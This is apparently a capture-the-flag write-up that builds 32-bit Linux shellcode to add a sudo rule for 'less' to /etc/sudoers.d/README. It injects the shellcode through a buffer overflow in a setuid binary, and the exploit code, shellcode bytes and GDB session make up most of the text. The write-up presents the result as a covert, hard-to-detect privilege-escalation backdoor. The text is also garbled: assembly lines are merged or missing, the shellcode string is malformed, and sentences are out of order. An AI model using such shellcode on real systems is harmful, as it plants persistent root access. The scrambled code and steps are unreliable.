./lessIsTheNewMore

In this write-up, we'll develop a **shellcode** that subtly modifies the server's access controls: it will add the line **zaz ALL=(ALL:ALL) /bin/less** to the **/etc/sudoers.d/README** file.

This approach is particularly covert because it leaves the main sudoers file untouched and grants sudo privileges to the user zaz specifically and only for the less command.

If the less binary is allowed to run as **superuser** by **sudo**, it does not drop the elevated privileges and may be used to access the file system or **escalate privileged access**. <u>More info here</u>.

This creates a **discreet backdoor** on the server, accessible in the long run. Additionally, by not altering the **root** password, this modification remains almost **undetectable**, ensuring that no immediate changes are noticeable to the system's administrators or other users.

To create the **shellcode** for our operation, we first need the **assembly** code:

```
section .text
   global _start
_start:
  xor eax, eax ; Clear eax
  xor ecx, ecx ; Clear ecx xor edx, edx ; Clear edx push eax push 0x454d4441 ; ADME push 0x45522f64 ; d/RE
                       ; Push null byte onto stack
   mov dx, 440
                     ; permissions
   int 0x80
   mov ebx, eax ; file descriptor
   xor eax, eax ; Clear eax
                       ; Push null byte onto stack
   push eax
   push 0x0a737365
push 0x6c2f6e69
   push 0x622f2029
   push 0x4c4c413a
                      ; :ALL
                       ; (ALL
   push 0x4c4c4128
                       ; ALL=
   push 0x3d4c4c41
push 0x207a617a
   ; Write to file
   mov al, 4 xor edx, edx
                       ; sys_write
                     ; Clear edx
   mov ecx, esp
                     ; length of string
   mov dl, 28
   int 0x80
   ; Close file
   int 0x80
   ; Exit
   mov al, 1
                        ; sys_exit
```

Now that we have written the assembly code, the next steps are to assemble the code with **NASM** and then use **objdump** to generate the actual shellcode.

xor ebx, ebx int 0x80

```
(kali@kali)=[~]
$ nasm -f elf32 sudoers.asm -o sudoers.o && ld -m elf_i386 -o sudoers
sudoers.o

(kali@kali)=[~]
$ objdump -d sudoers | grep -Po '\s\K[\da-f]{2}(?=\s)' | tr -d '\n' |
sed 's/\([0-9a-f]\{2\}\)/\\\\1/g' | sed 's/^"/' | sed 's/$/"/'
"\x31\xc0\x31\xc9\x31\xd2\x50\x68\x41\x44\x4d\x45\x68\x64\x2f\x52\x45\\x2f\x2f\x2f\x89\xe3\xb0\x05\x66\xb9\x41\x04\x66\xba\xb8\x01\xcd\x80\x89\xc3\\x31\xc0\x50\x68\x65\x73\x73\x0a\x68\x69\x6e\x2f\x6c\x68\x29\x20\x2f\x62\\x68\x3a\x41\x4c\x4c\x68\x28\x41\x4c\x4c\x68\x41\x4c\x4c\x3d\x68\x7a\x61\\x7a\x20\xb0\x04\x31\xd2\x89\xe1\xb2\x1c\xcd\x80\xb0\x06\xb0\x01\\x31\xd2\x89\xe1\xb2\x1c\xcd\x80\xb0\x06\xcd\x80\xb0\x01\\x31\xdb\xcd\x80"
```

After setting the shellcode as an environment variable, we'll use GDB to determine its memory address

us to execute our shellcode with root privileges due to the setuid bit being set.

within the context of the exploit_me program.

root@BornToSecHackMe:~# id

uid=0(root) gid=0(root) groups=0(root)

The exploit_me file in the zaz user's folder, with permissions set as -rwsr-s--- and owned by root, allows

```
zaz@BornToSecHackMe:~$ export SHELLCODE=$(python -c 'print "\x31\xc0\...\xcd\x80"')
 zaz@BornToSecHackMe:~$ exec env - SHELLCODE="$SHELLCODE" gdb -ex 'unset env LINES' -ex
 'unset env COLUMNS' --args ./exploit_me
 (gdb) b puts
 Breakpoint 1 at 0x8048310
 (gdb) run $(python -c 'print "A"*140 + "B"*4')
 Starting program: /home/zaz/exploit_me $(python -c 'print "A"*140 + "B"*4')
 Breakpoint 1, 0xb7e927e0 in puts () from /lib/i386-linux-gnu/libc.so.6
 (gdb) x/s *((char **) environ+1)
 0xbfffff6d:
                 "SHELLCODE=1\300\061\311\061\...\006\315\200\260\001\061\333\315\200"
 (gdb) x/s *((char **) environ+1) + 10
 0xbffffff77:
                 "1\300\061\311\061\322PhADMEhd/REhers.hsudohetc/h/...\333\315\200"
 (gdb) c
 Continuing.
 Program received signal SIGSEGV, Segmentation fault.
 0x42424242 in ?? ()
With the memory address of our shellcode identified, the next step is to execute the exploit_me pro-
gram using the specific offset we pinpointed in the first writeup.
This offset is 140, and it will be followed by the memory address of the shellcode
```